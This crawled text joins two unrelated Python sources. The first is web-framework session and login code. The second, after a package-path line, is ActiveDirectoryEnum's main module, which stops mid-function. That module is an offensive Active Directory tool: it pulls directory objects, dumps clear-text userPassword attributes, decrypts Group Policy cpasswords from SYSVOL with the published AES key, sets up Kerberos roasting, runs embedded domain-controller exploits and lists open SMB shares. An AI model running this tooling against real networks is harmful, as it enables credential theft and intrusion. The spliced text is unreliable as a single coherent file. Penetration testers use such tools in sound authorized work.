def getLoggedInRoot(self):
"""Get the most-recently-logged-in avatar.
"""
# XXX TODO: need to actually sort avatars by login order!
if len(self.portals) != 1:
raise RuntimeError("Ambiguous request for current avatar.")
return self.portals.values()[0][0]
def resourceForPortal(self, port):
return self.portals.get(port)
def setDefaultResource(self, rsrc, logout):
"""
Change the root-resource available to the user who has already
authenticated anonymously. This only works in applications that DO NOT
use the multiple-simultaneous-portals feature. If you do not know what
this means, you may safely ignore it.
"""
if len(self.portals) != 1:
raise RuntimeError("Ambiguous request for current avatar.")
self.setResourceForPortal(
rsrc,
self.portals.keys()[0],
logout)
def setResourceForPortal(self, rsrc, port, logout):
"""Change the root-resource available to a user authenticating against a given
portal.
If a user was already logged in to this session from that portal, first
log them out.
@param rsrc: an L{IResource} implementor.
@param port: a cred Portal instance.
@param logout: a 0-arg callable to be invoked upon logout.
"""
self.portalLogout(port)
self.portals[port] = rsrc, logout
return rsrc
def portalLogout(self, port):
"""
If we have previously acccepted a login for this portal, call its
logout method and de-associate that portal from this session, catching
any errors from the logout method.
Otherwise: do nothing.
@param port: a cred Portal.
"""
p = self.portals.get(port)
if p:
log.msg('Logout of portal %r' % port)
r, l = p
try:
l()
except:
log.err()
del self.portals[port]
# timeouts and expiration
def setLifetime(self, lifetime):
"""Set the approximate lifetime of this session, in seconds.
This is highly imprecise, but it allows you to set some general
parameters about when this session will expire. A callback will be
scheduled each 'lifetime' seconds, and if I have not been 'touch()'ed
in half a lifetime, I will be immediately expired.
"""
self.lifetime = lifetime
def notifyOnExpire(self, callback):
"""Call this callback when the session expires or logs out.
"""
self.expireCallbacks.append(callback)
def expire(self):
"""Expire/logout of the session.
"""
log.msg("expired session %s" % str(self.uid))
del self.guard.sessions[self.uid]
# Logout of all portals
for portal in self.portals.keys():
self.portalLogout(portal)
for c in self.expireCallbacks:
try:
c()
except:
log.err()
self.expireCallbacks = []
if self.checkExpiredID:
self.checkExpiredID.cancel()
self.checkExpiredID = None
def touch(self):
self.lastModified = time.time()
def checkExpired(self):
# Import reactor here to avoid installing default at startup
from twisted.internet import reactor
self.checkExpiredID = None
# If I haven't been touched in 15 minutes:
if time.time() - self.lastModified > self.lifetime / 2:
if self.guard.sessions.has_key(self.uid):
self.expire()
else:
log.msg("no session to expire: %s" % str(self.uid))
else:
log.msg("session given the will to live for %s more seconds" % self.lifetime)
self.checkExpiredID = reactor.callLater(self.lifetime,
self.checkExpired)
def __getstate__(self):
d = self.__dict__.copy()
if d.has_key('checkExpiredID'):
del d['checkExpiredID']
return d
def __setstate__(self, d):
self.__dict__.update(d)
self.touch()
self.checkExpired()
def urlToChild(ctx, *ar, **kw):
u = url.URL.fromContext(ctx)
for segment in ar:
u = u.child(stan.xml(segment))
if inevow.IRequest(ctx).method == 'POST':
u = u.clear()
for k,v in kw.items():
u = u.replace(k, v)
return u
SESSION_KEY = '__session_key__'
LOGIN_AVATAR = '__login__'
LOGOUT_AVATAR = '__logout__'
def nomind(*args): return None
class Forbidden(object):
implements(inevow.IResource)
def locateChild(self, ctx, segments):
return self
def renderHTTP(self, ctx):
request = inevow.IRequest(ctx)
request.setResponseCode(http.FORBIDDEN)
return ("<html><head><title>Forbidden</title></head>"
"<body><h1>Forbidden</h1>Request was forbidden.</body></html>")
class SessionWrapper:
"""
SessionWrapper
The following class attributes can be modified on an instance
of the class.
@ivar secureCookies: Whether to use secure (TLS only) cookies or not. If
C{True} (the default), make cookies secure when session is initiated
in a secure (TLS) connection. If C{False}, cookies will not be given
the secure attribute.
@ivar persistentCookies: Whether to use persistent (saved to disk)
cookies or not. If C{True}, make cookies persistent, so they are
valid for the length of the C{sessionLifetime} even if the browser
window is closed. If C{False} (the default), cookies do not get
saved to disk, and thus last only as long as the session does. If
the browser is closed before the session timeout, both the session
and the cookie go away.
"""
implements(inevow.IResource)
sessionLifetime = 3600
sessionFactory = GuardSession
# The interface to cred for when logging into the portal
credInterface = inevow.IResource
useCookies = True
secureCookies = True
persistentCookies = False
def __init__(self, portal, cookieKey=None, mindFactory=None, credInterface=None, useCookies=None):
self.portal = portal
if cookieKey is None:
cookieKey = "woven_session_" + _sessionCookie()
self.cookieKey = cookieKey
self.sessions = {}
if mindFactory is None:
mindFactory = nomind
self.mindFactory = mindFactory
if credInterface is not None:
self.credInterface = credInterface
if useCookies is not None:
self.useCookies = useCookies
# Backwards compatibility; remove asap
self.resource = self
def renderHTTP(self, ctx):
request = inevow.IRequest(ctx)
d = defer.maybeDeferred(self._delegate, ctx, [])
def _cb((resource, segments), ctx):
assert not segments
res = inevow.IResource(resource)
return res.renderHTTP(ctx)
d.addCallback(_cb, ctx)
return d
def locateChild(self, ctx, segments):
request = inevow.IRequest(ctx)
path = segments[0]
if self.useCookies:
cookie = request.getCookie(self.cookieKey)
else:
cookie = ''
if path.startswith(SESSION_KEY):
key = path[len(SESSION_KEY):]
if key not in self.sessions:
return urlToChild(ctx, *segments[1:], **{'__start_session__':1}), ()
self.sessions[key].setLifetime(self.sessionLifetime)
if cookie == key:
# /sessionized-url/${SESSION_KEY}aef9c34aecc3d9148/foo
# ^
# we are this getChild
# with a matching cookie
self.sessions[key].sessionJustStarted = True
return urlToChild(ctx, *segments[1:]), ()
else:
# We attempted to negotiate the session but failed (the user
# probably has cookies disabled): now we're going to return the
# resource we contain. In general the getChild shouldn't stop
# there.
# /sessionized-url/${SESSION_KEY}aef9c34aecc3d9148/foo
# ^ we are this getChild
# without a cookie (or with a mismatched cookie)
return self.checkLogin(ctx, self.sessions[key],
segments[1:],
sessionURL=segments[0])
else:
# /sessionized-url/foo
# ^ we are this getChild
# with or without a session
return self._delegate(ctx, segments)
def _delegate(self, ctx, segments):
"""Identify the session by looking at cookies and HTTP auth headers, use that
session key to identify the wrapped resource, then return a deferred
which fires a 2-tuple of (resource, segments) to the top-level
redirection code code which will delegate IResource's renderHTTP or
locateChild methods to it
"""
request = inevow.IRequest(ctx)
cookie = request.getCookie(self.cookieKey)
# support HTTP auth, no redirections
userpass = request.getUser(), request.getPassword()
httpAuthSessionKey = 'HTTP AUTH: %s:%s' % userpass
for sessionKey in cookie, httpAuthSessionKey:
if sessionKey in self.sessions:
session = self.sessions[sessionKey]
return self.checkLogin(ctx, session, segments)
# without a session
if userpass != ('',''):
# the user is trying to log in with HTTP auth, but they don't have
# a session. So, make them one.
sz = self.sessions[httpAuthSessionKey] = self.sessionFactory(self, httpAuthSessionKey)
# kick off the expiry timer.
sz.checkExpired()
return self.checkLogin(ctx, sz, segments, None, UsernamePassword(*userpass))
# no, really, without a session
## Redirect to the URL with the session key in it, plus the segments of the url
rd = self.createSession(ctx, segments)
return rd, ()
def createSession(self, ctx, segments):
"""
Create a new session for this request, and redirect back to the path
given by segments.
"""
request = inevow.IRequest(ctx)
newCookie = _sessionCookie()
if self.useCookies:
if self.secureCookies and request.isSecure():
secure = True
else:
secure = False
if self.persistentCookies and self.sessionLifetime:
expires = http.datetimeToString(time.time() + self.sessionLifetime)
else:
expires = None
request.addCookie(self.cookieKey, newCookie,
path="/%s" % '/'.join(request.prepath),
secure=secure, expires=expires,
domain=self.cookieDomainForRequest(request))
sz = self.sessions[newCookie] = self.sessionFactory(self, newCookie)
sz.args = request.args
sz.fields = request.fields
sz.method = request.method
sz._requestHeaders = request.requestHeaders
sz.checkExpired()
return urlToChild(ctx, SESSION_KEY+newCookie, *segments)
def checkLogin(self, ctx, session, segments, sessionURL=None, httpAuthCredentials=None):
"""
Associate the given request with the given session and:
- log the user in to our portal, if they are accessing a login URL
- log the user out from our portal (calling their logout callback),
if they are logged in and accessing a logout URL
- Move the request parameters saved on the session, if there are
any, onto the request if a session just started or a login
just succeeded.
@return:
- if the user is already logged in: a 2-tuple of requestObject,
C{segments} (i.e. the segments parameter)
- if the user is not logged in and not logging in, call login() to
initialize an anonymous session, and return a 2-tuple of
(rootResource, segments-parameter) from that anonymous session.
This counts as logging in for the purpose of future calls to
checkLogin.
- if the user is accessing a login URL: a 2-tuple of the logged in
resource object root and the remainder of the segments (i.e. the
URL minus __login__) to be passed to that resource.
"""
request = inevow.IRequest(ctx)
session.touch()
request.session = session
root = url.URL.fromContext(request)
if sessionURL is not None:
root = root.child(sessionURL)
request.rememberRootURL(str(root))
spoof = False
if getattr(session, 'sessionJustStarted', False):
del session.sessionJustStarted
spoof = True
if getattr(session, 'justLoggedIn', False):
del session.justLoggedIn
spoof = True
if spoof and hasattr(session, 'args'):
request.args = session.args
request.fields = session.fields
request.content = StringIO.StringIO()
request.content.close()
request.method = session.method
request.requestHeaders = session._requestHeaders
del session.args, session.fields, session.method, session._requestHeaders
if segments and segments[0] in (LOGIN_AVATAR, LOGOUT_AVATAR):
authCommand = segments[0]
else:
authCommand = None
if httpAuthCredentials:
# This is the FIRST TIME we have hit an HTTP auth session with our
# credentials. We are going to perform login.
assert not authCommand, (
"HTTP auth support isn't that robust. "
"Come up with something to do that makes sense here.")
return self.login(request, session, httpAuthCredentials, segments).addErrback(
self.authRequiredError, session
)
if authCommand == LOGIN_AVATAR:
subSegments = segments[1:]
def unmangleURL((res,segs)):
# Tell the session that we just logged in so that it will
# remember form values for us.
session.justLoggedIn = True
# Then, generate a redirect back to where we're supposed to be
# by looking at the root of the site and calculating the path
# down from there using the segments we were passed.
u = url.URL.fromString(request.getRootURL())
for seg in subSegments:
u = u.child(seg)
return u, ()
return self.login(request, session, self.getCredentials(request), subSegments).addCallback(
unmangleURL).addErrback(
self.incorrectLoginError, ctx, subSegments, "Incorrect login."
)
elif authCommand == LOGOUT_AVATAR:
self.explicitLogout(session)
return urlToChild(ctx, *segments[1:]), ()
else:
r = session.resourceForPortal(self.portal)
if r:
## Delegate our getChild to the resource our portal says is the right one.
return r[0], segments
else:
# XXX I don't think that the errback here will work at all,
# because the redirect loop would be infinite. Perhaps this
# should be closer to the HTTP auth path?
return self.login(request, session, Anonymous(), segments).addErrback(
self.incorrectLoginError, ctx, segments, 'Anonymous access not allowed.')
def explicitLogout(self, session):
"""
Hook to be overridden if you care about user-requested logout.
Note: there is no return value from this method; it is purely a way to
provide customized behavior that distinguishes between session-expiry
logout, which is what 99% of code cares about, and explicit user
logout, which you may need to be notified of if (for example) your
application sets other HTTP cookies which refer to server-side state,
and you want to expire that state in a manual logout but not with an
automated logout. (c.f. Quotient's persistent sessions.)
If you want the user to see a customized logout page, just generate a
logout link that looks like::
http://your-site.example.com/__logout__/my/custom/logout/stuff
and the user will see::
http://your-site.example.com/my/custom/logout/stuff
as their first URL after becoming anonymous again.
"""
session.portalLogout(self.portal)
def getCredentials(self, request):
username = request.args.get('username', [''])[0]
password = request.args.get('password', [''])[0]
return UsernamePassword(username, password)
def login(self, request, session, credentials, segments):
"""
- Calls login() on our portal.
- creates a mind from my mindFactory, with the request and credentials
- Associates the mind with the given session.
- Associates the resource returned from my portal's login() with my
portal in the given session.
@return: a Deferred which fires a 2-tuple of the resource returned from
my portal's login() and the passed list of segments upon successful
login.
"""
mind = self.mindFactory(request, credentials)
session.mind = mind
return self.portal.login(credentials, mind, self.credInterface).addCallback(
self._cbLoginSuccess, session, segments
)
def _cbLoginSuccess(self, (iface, res, logout), session, segments):
session.setResourceForPortal(res, self.portal, logout)
return res, segments
def incorrectLoginError(self, error, ctx, segments, loginFailure):
""" Used as an errback upon failed login, returns a 2-tuple of a failure URL
with the query argument 'login-failure' set to the parameter
loginFailure, and an empty list of segments, to redirect to that URL.
The basis for this error URL, i.e. the part before the query string, is
taken either from the 'referer' header from the given request if one
exists, or a computed URL that points at the same page that the user is
currently looking at to attempt login. Any existing query string will
be stripped.
"""
request = inevow.IRequest(ctx)
error.trap(UnauthorizedLogin)
referer = request.getHeader("referer")
if referer is not None:
u = url.URL.fromString(referer)
else:
u = urlToChild(ctx, *segments)
u = u.clear()
u = u.add('login-failure', loginFailure)
return u, ()
def authRequiredError(self, error, session):
session.expire()
error.trap(UnauthorizedLogin)
return Forbidden(), ()
def cookieDomainForRequest(self, request):
"""
Specify the domain restriction on the session cookie.
@param request: The request object in response to which a cookie is
being set.
@return: C{None} or a C{str} giving the domain restriction to set on
the cookie.
"""
return None | PypiClean |
/ActiveDirectoryEnum-0.5.0.tar.gz/ActiveDirectoryEnum-0.5.0/ade/__init__.py | from ldap3 import Server, Connection, ALL, ALL_ATTRIBUTES, LEVEL, SUBTREE, ALL_OPERATIONAL_ATTRIBUTES
from progressbar import Bar, Percentage, ProgressBar, ETA
from ldap3.core.exceptions import LDAPKeyError
from impacket.smbconnection import SessionError
from impacket.nmb import NetBIOSTimeout, NetBIOSError
from getpass import getpass
from termcolor import colored
from impacket import smbconnection
from impacket.dcerpc.v5 import srvs
import contextlib, argparse, sys, socket, json, re, os, base64
from Cryptodome.Cipher import AES
from dns.resolver import NXDOMAIN
import textwrap
# Thanks SecureAuthCorp for GetNPUsers.py
# For Kerberos preauthentication
from impacket.krb5 import constants
from impacket.krb5.asn1 import AS_REQ, KERB_PA_PAC_REQUEST, KRB_ERROR, AS_REP, seq_set, seq_set_iter
from impacket.krb5.kerberosv5 import sendReceive, KerberosError
from impacket.krb5.types import KerberosTime, Principal
from pyasn1.codec.der import decoder, encoder
from pyasn1.type.univ import noValue
from binascii import hexlify
import datetime, random
# Thanks SecureAuthCorp for GetUserSPNs.py
# For SPN enum
from impacket.krb5.ccache import CCache
from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
from impacket.ntlm import compute_lmhash, compute_nthash
from impacket.krb5.asn1 import TGS_REP
from bloodhound import BloodHound, resolve_collection_methods
from bloodhound.ad.domain import AD
from bloodhound.ad.authentication import ADAuthentication
class EnumAD():
def __init__(self, domainController, ldaps, output, enumsmb, bhout, kpre, spnEnum, searchSysvol, dryrun, domuser=None):
self.server = domainController
self.domuser = domuser
self.ldaps = ldaps
self.output = output
self.bhout = bhout
self.kpre = kpre
self.spnEnum = spnEnum
self.enumsmb = enumsmb
self.searchSysvol = searchSysvol
self.ou_structure = domainController.split('.')
self.dc_string=''
for element in self.ou_structure:
self.dc_string += 'dc={},'.format(element)
# LDAP properties
# At the moment we just want everything
self.ldapProps = ["*"]
# Setting lists containing elements we want from the domain controller
self.computers = []
self.people = []
self.groups = []
self.spn = []
self.acl = []
self.gpo = []
self.domains = []
self.ous = []
self.deletedUsers = []
self.passwd = False
# TODO: Figure a good way to go through the code dryrun
if dryrun:
print(self.server, self.domuser, self.ldaps, self.output, self.bhout, self.kpre, self.spnEnum, self.enumsmb, self.searchSysvol, self.ou_structure, self.dc_string)
return
if domuser is not False:
self.runWithCreds()
self.enumDeleted()
else:
self.runWithoutCreds()
self.enumDeleted()
self.testExploits()
if not self.CREDS:
print('[ ' + colored('WARN', 'yellow') +' ] Didn\'t find useable info as anonymous user, please gather credentials and run again')
def runWithCreds(self):
self.CREDS = True
if not self.passwd:
self.passwd = str(getpass())
self.bind()
self.search()
if self.output:
self.write_file()
self.checkForPW()
self.checkOS()
if self.searchSysvol:
self.checkSYSVOL()
if self.bhout:
self.outputToBloodhoundJson()
if self.kpre:
self.enumKerbPre()
if self.spnEnum:
self.enumSPNUsers()
self.conn.unbind()
if self.enumsmb:
# Setting variables for further testing and analysis
self.smbShareCandidates = []
self.smbBrowseable = {}
self.sortComputers()
self.enumSMB()
# Lets clear variable now
self.passwd = None
def runWithoutCreds(self):
self.CREDS = False
print('[ ' + colored('INFO', 'green') + ' ] Attempting to get objects without credentials')
self.passwd = ''
self.domuser = ''
print('')
self.bind()
self.search()
if self.output:
self.write_file()
self.checkForPW()
self.checkOS()
self.enumForCreds(self.people)
return
@contextlib.contextmanager
def suppressOutput(self):
with open(os.devnull, 'w') as devnull:
with contextlib.redirect_stderr(devnull) as err, contextlib.redirect_stdout(devnull) as out:
yield (err, out)
def enumDeleted(self):
if len(self.deletedUsers) > 0:
print('[ ' + colored('INFO', 'green') +' ] Searching for juicy info in deleted users')
self.enumForCreds(self.deletedUsers)
def testExploits(self):
from .exploits import exploits
print('[ ' + colored('OK', 'green') +' ] Attempting to run imbedded exploits...')
exp = exploits.Exploits(self.server, self.computers[0]["name"])
if len(exp.vulnerable) > 0:
cves = ""
for exploit in exp.vulnerable:
cves += f"{exploit}, "
print('[ ' + colored('WARN', 'yellow') + f' ] DC may be vulnerable to: [ ' + colored(cves[:-2], 'green') + ' ]')
else:
print('[ ' + colored('OK', 'green') + ' ] DC not vulnerable to included exploits')
def bind(self):
try:
if self.ldaps:
self.dc_conn = Server(self.server, port=636, use_ssl=True, get_info='ALL')
self.conn = Connection(self.dc_conn, user=self.domuser, password=self.passwd)
self.conn.bind()
self.conn.start_tls()
# Validate the login (bind) request
if int(self.conn.result['result']) != 0:
print('\033[1A\r[ ' + colored('ERROR', 'red') +' ] Failed to bind to LDAPS server: {0}'.format(self.conn.result['description']))
sys.exit(1)
else:
print('\033[1A\r[ ' + colored('OK', 'green') +' ] Bound to LDAPS server: {0}'.format(self.server))
else:
self.dc_conn = Server(self.server, get_info=ALL)
self.conn = Connection(self.dc_conn, user=self.domuser, password=self.passwd)
self.conn.bind()
# Validate the login (bind) request
if int(self.conn.result['result']) != 0:
print('\033[1A\r[ ' + colored('ERROR', 'red') +' ] Failed to bind to LDAP server: {0}'.format(self.conn.result['description']))
sys.exit(1)
else:
print('\033[1A\r[ ' + colored('OK', 'green') +' ] Bound to LDAP server: {0}'.format(self.server))
# TODO: Catch individual exceptions instead
except Exception:
if self.ldaps:
print('\033[1A\r[ ' + colored('ERROR', 'red') +' ] Failed to bind to LDAPS server: {0}'.format(self.server))
else:
print('\033[1A\r[ ' + colored('ERROR', 'red') +' ] Failed to bind to LDAP server: {0}'.format(self.server))
sys.exit(1)
def search(self):
# Get computer objects
self.conn.search(self.dc_string[:-1], '(&(sAMAccountType=805306369)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))', attributes=self.ldapProps, search_scope=SUBTREE)
for entry in self.conn.entries:
self.computers.append(entry)
print('[ ' + colored('OK', 'green') +' ] Got all Computer objects')
# Get person objects
self.conn.search(self.dc_string[:-1], '(objectCategory=person)', attributes=self.ldapProps, search_scope=SUBTREE)
for entry in self.conn.entries:
self.people.append(entry)
print('[ ' + colored('OK', 'green') +' ] Got all Person objects')
# Get group objects
self.conn.search(self.dc_string[:-1], '(|(samaccounttype=268435456)(samaccounttype=268435457)(samaccounttype=536870912)(samaccounttype=536870913)(primarygroupid=*))', attributes=self.ldapProps, search_scope=SUBTREE)
for entry in self.conn.entries:
self.groups.append(entry)
print('[ ' + colored('OK', 'green') +' ] Got all Group objects')
# Get SPN objects
self.conn.search(self.dc_string[:-1], '(&(samaccounttype=805306368)(serviceprincipalname=*))', attributes=self.ldapProps, search_scope=SUBTREE)
for entry in self.conn.entries:
self.spn.append(entry)
print('[ ' + colored('OK', 'green') +' ] Got all SPN objects')
# Get ACL objects
self.conn.search(self.dc_string[:-1], '(|(samAccountType=805306368)(samAccountType=805306369)(samAccountType=268435456)(samAccountType=268435457)(samAccountType=536870912)(samAccountType=536870913)(objectClass=domain)(&(objectcategory=groupPolicyContainer)(flags=*))(objectcategory=organizationalUnit))', attributes=self.ldapProps, search_scope=SUBTREE)
for entry in self.conn.entries:
self.acl.append(entry)
print('[ ' + colored('OK', 'green') +' ] Got all ACL objects')
# Get GPO objects
self.conn.search(self.dc_string[:-1], '(|(&(&(objectcategory=groupPolicyContainer)(flags=*))(name=*)(gpcfilesyspath=*))(objectcategory=organizationalUnit)(objectClass=domain))', attributes=self.ldapProps, search_scope=SUBTREE)
for entry in self.conn.entries:
self.gpo.append(entry)
print('[ ' + colored('OK', 'green') +' ] Got all GPO objects')
# Get Domain
self.conn.search(self.dc_string[:-1], '(objectclass=domain)', attributes=self.ldapProps, search_scope=SUBTREE)
for entry in self.conn.entries:
self.domains.append(entry)
print('[ ' + colored('OK', 'green') +' ] Got all Domains')
# Get OUs
self.conn.search(self.dc_string[:-1], '(objectclass=organizationalUnit)', attributes=self.ldapProps, search_scope=SUBTREE)
for entry in self.conn.entries:
self.ous.append(entry)
print('[ ' + colored('OK', 'green') +' ] Got all OUs')
# Get deleted users
self.conn.search(self.dc_string[:-1], '(objectclass=user)', attributes=self.ldapProps, search_scope=SUBTREE, controls=[('1.2.840.113556.1.4.417', True, None)])
for entry in self.conn.entries:
self.deletedUsers.append(entry)
print('[ ' + colored('OK', 'green') +' ] Got all deleted users')
'''
Since it sometimes is real that the property 'userPassword:' is set
we test for it and dump the passwords
'''
def checkForPW(self):
passwords = {}
idx = 0
for _ in self.people:
user = json.loads(self.people[idx].entry_to_json())
idx += 1
if user['attributes'].get('userPassword') is not None:
passwords[user['attributes']['name'][0]] = user['attributes'].get('userPassword')
if len(passwords.keys()) > 0:
with open('{0}-clearpw'.format(self.server), 'w') as f:
json.dump(passwords, f, sort_keys=False)
if len(passwords.keys()) == 1:
print('[ ' + colored('WARN', 'yellow') +' ] Found {0} clear text password'.format(len(passwords.keys())))
elif len(passwords.keys()) == 0:
print('[ ' + colored('OK', 'green') +' ] Found {0} clear text password'.format(len(passwords.keys())))
else:
print('[ ' + colored('OK', 'green') +' ] Found {0} clear text passwords'.format(len(passwords.keys())))
'''
While it is not unusual to find EOL servers hidden or forgotten these
often makes easier targets for lateral movemen, and because of that
we'll dump the lowest registered OS and the respective hosts for easier
enumeration afterwards
'''
def checkOS(self):
os_json = {
# Should perhaps include older version
"Windows XP": [],
"Windows Server 2008": [],
"Windows 7": [],
"Windows Server 2012": [],
"Windows 10": [],
"Windows Server 2016": [],
"Windows Server 2019": []
}
idx = 0
for _ in self.computers:
computer = json.loads(self.computers[idx].entry_to_json())
idx += 1
for os_version in os_json.keys():
try:
if os_version in computer['attributes'].get('operatingSystem'):
os_json[os_version].append(computer['attributes']['dNSHostName'])
except TypeError:
# computer['attributes'].get('operatingSystem') is of NoneType, just continue
continue
for key, value in os_json.items():
if len(value) == 0:
continue
with open('{0}-oldest-OS'.format(self.server), 'w') as f:
for item in value:
f.write('{0}: {1}\n'.format(key, item))
break
print('[ ' + colored('OK', 'green') + ' ] Wrote hosts with oldest OS to {0}-oldest-OS'.format(self.server))
def checkSYSVOL(self):
print('[ .. ] Searching SYSVOL for cpasswords\r')
cpasswords = {}
try:
smbconn = smbconnection.SMBConnection('\\\\{0}\\'.format(self.server), self.server, timeout=5)
smbconn.login(self.domuser, self.passwd)
dirs = smbconn.listShares()
for share in dirs:
if str(share['shi1_netname']).rstrip('\0').lower() == 'sysvol':
path = smbconn.listPath(str(share['shi1_netname']).rstrip('\0'), '*')
paths = [e.get_shortname() for e in path if len(e.get_shortname()) > 2]
for dirname in paths:
try:
# Dont want . or ..
subPath = smbconn.listPath(str(share['shi1_netname']).rstrip('\0'), str(dirname) + '\\*')
for sub in subPath:
if len(sub.get_shortname()) > 2:
paths.append(dirname + '\\' + sub.get_shortname())
except (SessionError, UnicodeEncodeError, NetBIOSError) as e:
continue
# Compile regexes for username and passwords
cpassRE = re.compile(r'cpassword=\"([a-zA-Z0-9/]+)\"')
unameRE = re.compile(r'userName|runAs=\"([ a-zA-Z0-9/\(\)-]+)\"')
# Prepare the ciphers based on MSDN article with key and IV
cipher = AES.new(bytes.fromhex('4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b'), AES.MODE_CBC, bytes.fromhex('00' * 16))
# Since the first entry is the DC we dont want that
for item in paths[1:]:
if '.xml' in item.split('\\')[-1]:
with open('{0}-{1}'.format(item.split('\\')[-2], item.split('\\')[-1]), 'wb') as f:
smbconn.getFile(str(share['shi1_netname']).rstrip('\0'), item, f.write)
with open('{0}-{1}'.format(item.split('\\')[-2], item.split('\\')[-1]), 'r') as f:
try:
fileContent = f.read()
passwdMatch = cpassRE.findall(str(fileContent))
for passwd in passwdMatch:
unameMatch = unameRE.findall(str(fileContent))
for usr in unameMatch:
padding = '=' * (4 - len(passwd) % 4)
# For some reason, trailing nul bytes were on each character, so we remove any if they are there
cpasswords[usr] = cipher.decrypt(base64.b64decode(bytes(passwd + padding, 'utf-8'))).strip().decode('utf-8').replace('\x00', '')
except (UnicodeDecodeError, AttributeError) as e:
# Remove the files we had to write during the search
os.unlink('{0}-{1}'.format(item.split('\\')[-2], item.split('\\')[-1]))
continue
# Remove the files we had to write during the search
os.unlink('{0}-{1}'.format(item.split('\\')[-2], item.split('\\')[-1]))
if len(cpasswords.keys()) > 0:
with open('{0}-cpasswords.json'.format(self.server), 'w') as f:
json.dump(cpasswords, f)
if len(cpasswords.keys()) == 1:
print('\033[1A\r[ ' + colored('OK', 'green') +' ] Found {0} cpassword in a GPO on SYSVOL share'.format(len(cpasswords.keys())))
else:
print('\033[1A\r[ ' + colored('OK', 'green') +' ] Found {0} cpasswords in GPOs on SYSVOL share'.format(len(cpasswords.keys())))
except (SessionError, UnicodeEncodeError, NetBIOSError):
print('[ ' + colored('ERROR', 'red') + ' ] Some error occoured while searching SYSVOL')
else:
smbconn.close()
def splitJsonArr(self, arr):
if isinstance(arr, list):
if len(arr) == 1:
return arr[0]
return arr
def outputToBloodhoundJson(self):
print('[ ' + colored('OK', 'green') +' ] Generating BloodHound output - this may take time...')
try:
with self.suppressOutput():
opts = argparse.Namespace(dns_tcp=False, global_catalog=self.server)
auth = ADAuthentication(username=self.domuser, password=self.passwd, domain=self.server)
try:
ad = AD(auth=auth, domain=self.server, nameserver=None, dns_tcp=False)
ad.dns_resolve(kerberos=False, domain=self.server, options=opts)
except (NXDOMAIN) as e:
# So we didnt succeed with DNS lookup. Most likely an internal, so lets try to point to the DC
print('[ ' + colored('WARN', 'yellow') +' ] DNS lookup of Domain Controller failed - attempting to set the DC as Nameserver')
try:
ns = socket.gethostbyname(self.server)
opts = argparse.Namespace(dns_tcp=False, global_catalog=self.server, nameserver=ns)
ad = AD(auth=auth, domain=self.server, nameserver=ns, dns_tcp=False)
ad.dns_resolve(kerberos=False, domain=self.server, options=opts)
except (NXDOMAIN) as e:
# I'm all out of luck
print('[ ' + colored('ERROR', 'red') +' ] DNS lookup of Domain Controller failed with DC as nameserver')
exit(1)
with self.suppressOutput():
bloodhound = BloodHound(ad)
bloodhound.connect()
collection = resolve_collection_methods('Session,Trusts,ACL,DCOM,RDP,PSRemote')
bloodhound.run(collect=collection, num_workers=40, disable_pooling=False)
print('[ ' + colored('OK', 'green') +' ] BloodHound output generated')
except Exception as e:
print('[ ' + colored('ERROR', 'red') + f' ] Generating BloodHound output failed: {e}')
def sortComputers(self):
for computer in self.computers:
try:
self.smbShareCandidates.append(computer['dNSHostName'])
except LDAPKeyError:
# No dnsname registered
continue
if len(self.smbShareCandidates) == 1:
print('[ ' + colored('OK', 'green') +' ] Found {0} dnsname'.format(len(self.smbShareCandidates)))
else:
print('[ ' + colored('OK', 'green') +' ] Found {0} dnsnames'.format(len(self.smbShareCandidates)))
def enumSMB(self):
progBar = ProgressBar(widgets=['SMBConnection test: ', Percentage(), Bar(), ETA()], maxval=len(self.smbShareCandidates)).start()
prog = 0
try:
for dnsname in self.smbShareCandidates:
try:
# Changing default timeout as shares should respond withing 5 seconds if there is a share
# and ACLs make it available to self.user with self.passwd
smbconn = smbconnection.SMBConnection('\\\\' + str(dnsname), str(dnsname), timeout=5)
smbconn.login(self.domuser, self.passwd)
dirs = smbconn.listShares()
self.smbBrowseable[str(dnsname)] = {}
for share in dirs:
self.smbBrowseable[str(dnsname)][str(share['shi1_netname']).rstrip('\0')] = ''
try:
_ = smbconn.listPath(str(share['shi1_netname']).rstrip('\0'), '*')
self.smbBrowseable[str(dnsname)][str(share['shi1_netname']).rstrip('\0')] = True
except (SessionError, UnicodeEncodeError, NetBIOSError):
# Didnt have permission, all good
# Im second guessing the below adding to the JSON file as we're only interested in the listable directories really
#self.smbBrowseable[str(dnsname)][str(share['shi1_netname']).rstrip('\0')] = False
continue
smbconn.logoff()
progBar.update(prog + 1)
prog += 1
except (socket.error, NetBIOSTimeout, SessionError, NetBIOSError):
# TODO: Examine why we sometimes get:
# impacket.smbconnection.SessionError: SMB SessionError: STATUS_PIPE_NOT_AVAILABLE
# on healthy shares. It seems to be reported with CIF shares
progBar.update(prog + 1)
prog += 1
continue
except ValueError:
# We reached end of progressbar, continue since we finish below
pass
progBar.finish()
print('')
availDirs = []
for key, value in self.smbBrowseable.items():
for _, v in value.items():
if v:
availDirs.append(key)
if len(self.smbShareCandidates) == 1:
print('[ ' + colored('OK', 'green') + ' ] Searched {0} share and {1} with {2} subdirectories/files is browseable by {3}'.format(len(self.smbShareCandidates), len(self.smbBrowseable.keys()), len(availDirs), self.domuser))
else:
print('[ ' + colored('OK', 'green') + ' ] Searched {0} shares and {1} with {2} subdirectories/file sare browseable by {3}'.format(len(self.smbShareCandidates), len(self.smbBrowseable.keys()), len(availDirs), self.domuser))
if len(self.smbBrowseable.keys()) > 0:
with open('{0}-open-smb.json'.format(self.server), 'w') as f:
json.dump(self.smbBrowseable, f, indent=4, sort_keys=False)
print('[ ' + colored('OK', 'green') + ' ] Wrote browseable shares to {0}-open-smb.json'.format(self.server))
def write_file(self):
with open(str(self.output) + '-computers', 'w') as f:
for item in self.computers:
f.write(str(item))
f.write("\n")
with open(str(self.output) + '-people', 'w') as f:
for item in self.people:
f.write(str(item))
f.write("\n")
with open(str(self.output) + '-groups', 'w') as f:
for item in self.groups:
f.write(str(item))
f.write("\n")
with open(str(self.output) + '-spn', 'w') as f:
for item in self.spn:
f.write(str(item))
f.write("\n")
with open(str(self.output) + '-acl', 'w') as f:
for item in self.acl:
f.write(str(item))
f.write("\n")
with open(str(self.output) + '-gpo', 'w') as f:
for item in self.gpo:
f.write(str(item))
f.write("\n")
with open(str(self.output) + '-domains', 'w') as f:
for item in self.domains:
f.write(str(item))
f.write("\n")
with open(str(self.output) + '-ous', 'w') as f:
for item in self.ous:
f.write(str(item))
